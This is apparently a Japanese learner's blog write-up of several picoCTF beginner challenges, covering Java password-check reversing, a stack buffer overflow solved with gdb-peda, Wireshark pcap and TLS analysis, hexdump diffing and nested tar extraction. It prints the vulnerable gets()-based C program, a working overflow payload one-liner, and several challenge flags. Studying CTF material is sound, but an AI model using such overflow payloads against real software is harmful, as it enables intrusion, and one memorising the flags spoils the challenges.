pico CTF
このCTFは、初心者向けの常設CTFである。
3カ月ほどコツコツやっていたが、その中でもいい感じに解法がまとめられた・まとめる価値があるものをピックアップする。
vault-door-1
javaのコードが準備されている。
flagの順番がバラバラになって、コードの中に格納されている。
import java.util.*;
class VaultDoor1 {
public static void main(String args[]) {
VaultDoor1 vaultDoor = new VaultDoor1();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault password: ");
String userInput = scanner.next();
String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
if (vaultDoor.checkPassword(input)) {
System.out.println("Access granted.");
} else {
System.out.println("Access denied!");
}
}
// I came up with a more secure way to check the password without putting
// the password itself in the source code. I think this is going to be
// UNHACKABLE!! I hope Dr. Evil agrees...
//
// -Minion #8728
public boolean checkPassword(String password) {
return password.length() == 32 &&
password.charAt(0) == 'd' &&
password.charAt(29) == 'f' &&
password.charAt(4) == 'r' &&
password.charAt(2) == '5' &&
password.charAt(23) == 'r' &&
password.charAt(3) == 'c' &&
password.charAt(17) == '4' &&
password.charAt(1) == '3' &&
password.charAt(7) == 'b' &&
password.charAt(10) == '_' &&
password.charAt(5) == '4' &&
password.charAt(9) == '3' &&
password.charAt(11) == 't' &&
password.charAt(15) == 'c' &&
password.charAt(8) == 'l' &&
password.charAt(12) == 'H' &&
password.charAt(20) == 'c' &&
password.charAt(14) == '_' &&
password.charAt(6) == 'm' &&
password.charAt(24) == '5' &&
password.charAt(18) == 'r' &&
password.charAt(13) == '3' &&
password.charAt(19) == '4' &&
password.charAt(21) == 'T' &&
password.charAt(16) == 'H' &&
password.charAt(27) == '3' &&
password.charAt(30) == '3' &&
password.charAt(25) == '_' &&
password.charAt(22) == '3' &&
password.charAt(28) == 'e' &&
password.charAt(26) == '6' &&
password.charAt(31) == 'a';
}
}
checkPasswordの中の条件文が成り立つにはpasswordがどのような文字列ならよいかを考えてみる。
最初、
- 元プログラムの&&で連結された文字列を&&を省いてリストに入れる
- リストの要素それぞれに対して、;と改行文字を最後につけて文字列にする(password[2]='e';password[63]='w'...のような形)
- その文字列を関数に渡して、下のプログラムのように代入していく
という形にしたいと思って、文字列を扱っていたが元の文字列にスペースが多かったりしてプログラムにそのまま渡してもうまく認識されず、VSCodeの置換を用いて、結局以下のようなコードにした。
import java.util.*;
class VaultDoor1_solution {
public static void main(String args[]) {
char[] password = new char[32];
password[0] = 'd';
password[29] = 'f';
password[4] = 'r';
password[2] = '5';
password[23] = 'r';
password[3] = 'c';
password[17] = '4';
password[1] = '3';
password[7] = 'b';
password[10] = '_';
password[5] = '4';
password[9] = '3';
password[11] = 't';
password[15] = 'c';
password[8] = 'l';
password[12] = 'H';
password[20] = 'c';
password[14] = '_';
password[6] = 'm';
password[24] = '5';
password[18] = 'r';
password[13] = '3';
password[19] = '4';
password[21] = 'T';
password[16] = 'H';
password[27] = '3';
password[30] = '3';
password[25] = '_';
password[22] = '3';
password[28] = 'e';
password[26] = '6';
password[31] = 'a';
System.out.println(password);
}
}
上のコードからflagを生成する際、以下のコマンドを用いた
- sort -n 数字でソートする
- sed 正規表現
- xargs くっ付ける
- awk 区切られた文字を扱う
Overflow 1
【目標】
- オーバーフローをマスターする
- デバッガの使い方もマスターする
参考:https://qiita.com/Kuroakira/items/82446f083ee2fd05e925
ヒープ領域とスタック領域
これらはプログラム実行時に一時的に使用するメモリ領域である。
アプリケーションやOSの割り当て・解放によってアドレスやサイズが動的に変化する。
一時的にファイルを呼び出すときにその中身を置いておいたり、ネットワークで送受信を行うデータを置いておくなど、一時的に必要になるメモリ。
ヒープ領域はOS管理領域の中にその一部として存在する。
スタック領域はコンパイラやOSが割り当てを行い、アプリケーションでは自由に操作することができない領域である。
プログラムが内部的にデータを保存しておく必要がある時にスタック領域が使用される。
スタック領域は大きさが変えられないために、フローするリスクが高い。
スタックはint i=0
やchar data[10]
と言ったサイズの小さい変数の定義に向いている。
それに対してヒープは、アプリケーション側でサイズと使うタイミングを決められるので、比較的サイズが大きく、可変長のデータに向いている。
例えばファイルのデータを読み出す時が適切な例としてあげられる。
OS未使用領域の意義は、固定のアドレスが使える状況のメモリを確保しておくことで、タスク間でデータのアドレスを教え合うやりとり不要になるため、簡単になるということである。
Overflowの問題を解いてみる
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
として、gdbが入っているので、gdb-pedaというツールを用いて、スタック領域など領域ごとに分けて表示してくれるようにする。
gdb-peda$ b *vuln
として、vuln関数の最初のアドレスにbreakpointを設定する。
そうすると、0xff96619cにスタック領域の一番上にリターンアドレスが格納されていることが分かる。
標準入力で入れた"aaa"が、stackの一番上のところに表示されている。
"aaa"が0x616161
に格納されているのが分かる。
- flag関数のアドレス
- buf変数のアドレス
- リターンアドレスが格納されたアドレス
以上を書き出して、
リターンアドレス - buf変数のアドレス + flag関数のアドレスを渡すことによって、リターンアドレスの中身をflag関数のアドレスに書き換えることができる。
イメージとしては、リターンアドレス - buf変数のアドレス分の文字列で空いている部分を埋め、バッファオーバーフローしたところにflag関数のアドレスがちょうど格納される、という感じ。
vuln.c
vuln.c
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <unistd.h>
# include <sys/types.h>
# include "asm.h"
# define BUFFSIZE 64
# define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
printf("Woah, were jumping to 0x%x !\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Give me a string and lets see what happens: ");
vuln();
return 0;
}
(python -c "print 'a' * 76 + '\xe6\x85\x04\x08';") | ./vuln
として、bufの分の76byteをaで埋めた後、そこにflag関数のアドレスをリトルエンディアンで与えると、flagが表示される。
flag関数は、
gdb-peda$ disas flag
として、最初の行に出てくるアドレスがflag関数のアドレス。
shark on wire
capture.pcapというファイルが配布されている。
これを復元するのが今回の課題である。
pcapファイル・・・パケットキャプチャファイル。ネットワークパケットデータが格納されている。
wiresharkをインストールして、flagのリカバリを目指す。
目の付け所がわからないので、writeupを調べる。
パケットを右クリックして、follow->UDPと進む。
そして、ストリームの数字を変えること(今回は6)によってflagが見つかる。
なぜ6なのか、書いてある記事が見当たらない。
今回もそうであるが、大量のデータがあり、文字検索もできないため、行き当たりばったり感が強い。
https://www.youtube.com/watch?v=sm6do94cvEY
youtubeで、唯一きちんと調べているものがあった。
UDPでフィルタリングして、発信元IPと発信先IPが多様である中、UDPのストリームを見ていくと、ペイロード部分がハイライトされるので、下ボタンで移動していくと、flagの文字列が表示される。
youtubeでは、これを見て、srcとdest.のIPの特定の組み合わせ(10.0.0.2と10.0.0.12)を見つけ、ライブラリを用いてUDPのペイロード部分を抜き出してflagをゲットしている。
わかりにくい文章になったが、下のスクリーンショットの下部のハイライト部分がpicoCTF{...のpの一文字目を表している。
shark on Wire2
pcapファイルが提供されていたので、ダウンロードしてwiresharkで開いてみた。
UDP portが22のパケットをフィルタリングして、src Portの、5000,5112,5105,5099...というところに注目する。
?なぜUDPに着目するのか
->UDPはレア
?発信元IPに着目する動機とは
->ポートは普段そんなに頻繁に変えないから
最初の5000のところにstartと書いてある。
ちなみに、このフィルタリングで現れるパケットの最後にはendと書いてある。
VaultDoor3
下のようなコードが与えられている。
import java.util.*;
class VaultDoor3 {
public static void main(String args[]) {
VaultDoor3 vaultDoor = new VaultDoor3();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault password: ");
String userInput = scanner.next();
String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
if (vaultDoor.checkPassword(input)) {
System.out.println("Access granted.");
} else {
System.out.println("Access denied!");
}
}
// Our security monitoring team has noticed some intrusions on some of the
// less secure doors. Dr. Evil has asked me specifically to build a stronger
// vault door to protect his Doomsday plans. I just *know* this door will
// keep all of those nosy agents out of our business. Mwa ha!
//
// -Minion #2671
public boolean checkPassword(String password) {
if (password.length() != 32) {
return false;
}
char[] buffer = new char[32];
int i;
for (i=0; i<8; i++) {
buffer[i] = password.charAt(i);
}
for (; i<16; i++) {
buffer[i] = password.charAt(23-i);
}
for (; i<32; i+=2) {
buffer[i] = password.charAt(46-i);
}
for (i=31; i>=17; i-=2) {
buffer[i] = password.charAt(i);
}
String s = new String(buffer);
return s.equals("jU5t_a_sna_3lpm17ga45_u_4_mbrf4c");
}
}
以下の行は、substring(8,入力長より1短い値)であり、userInputの8番目~入力長より1短い値番目までをinputに代入する。
String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
picoCTF{FLAG}と入力すると、{}の中身を取り出して、それを処理してbufferに入れていき、最後の行で"jU5t_a_sna_3lpm17ga45_u_4_mbrf4c"
と比較しているようだ。
最後に比較する文字列から逆算してflagを求める。
VaultDoor3_solution
というclassを作成して、逆算を行った。
import java.util.*;
public class VaultDoor3_solution {
public static void main(String[] args) {
String password = "jU5t_a_sna_3lpm17ga45_u_4_mbrf4c";
char[] buffer = new char[32];
int i;
for (i = 0; i < 8; i++) {
buffer[i] = password.charAt(i);
}
for (; i < 16; i++) {
buffer[i] = password.charAt(23 - i);
}
for (; i < 32; i += 2) {
buffer[i] = password.charAt(46 - i);
}
for (i = 31; i >= 17; i -= 2) {
buffer[i] = password.charAt(i);
}
System.out.println(buffer);
}
}
これによって求められたflagの中身を用いて、実行してみる。
$ java VaultDoor3
Enter vault password: picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_5baf7c}
Access granted.
認可された、!のでflagだと分かった。
whats-the-difference
二つのjpgファイルを与えられ、これらの違いは何か。という問題だった。
file形式は全く一緒だったので、jpgファイルをhexdumpしてみようと思った。
二つのファイルをVSCodeのhex editorを利用してhexdumpし、二つのファイルの比較をするツール(VSCodeの機能)で差分を見た。
下のように、右側のcattos.jpg.hexdumpの方にflagが表示されることが分かった。
二つのファイルの違う部分で、cattosにflagが埋め込まれているということだった。
これを一つ一つ見ていって組み合わせるとflagが分かる。
like1000
1000.tarというファイルがあり、一度解凍すると999.tarが出てきた。
1000回圧縮されている。
そこで、
$ for ((i = 1000; i >= 1; i--)); do tar xf $i.tar; done
というスクリプトによって繰り返し解凍を実行する。
すると、flagを示した画像ファイルが出てきた。
WebNet0
またパケットキャプチャファイル渡され、今回は鍵も渡されている。
とりあえずpcapファイルはwiresharkで開く。
ヒントには、TLSを復号できますか?と書いてある。
wiresharkでTLSの設定で鍵ファイルを渡してみたりした。
できた。。
wiresharkのpreference->protocol->TLS->RSA keys listのeditから、サーバのIP、Port:443 httpプロトコル、配布されたkey fileを設定した。
すると、32こ目のパケットに、HTTP通信のデータのなかの項目のPico-Flagというところにflagがあった。
WebNet1
上と同じような問題。
pcapファイルと鍵が渡されている。
WebNet0と同じように鍵を設定する。
今回は、HTTPの通信が目立つので着目していき、特に画像ファイルの通信が見えたのでこれをエキスポートすることを考える。
File > Export Objects > HTTPと進んで、画像ファイルを通信しているパケットを選択、手元の端末にsaveする。
そうすると鳥の画像が出てくる。
stringsコマンドとgrepを用いてflagを見つけた。
$ strings vulture.jpg | grep picoCTF{
picoCTF{honey.roasted.peanuts}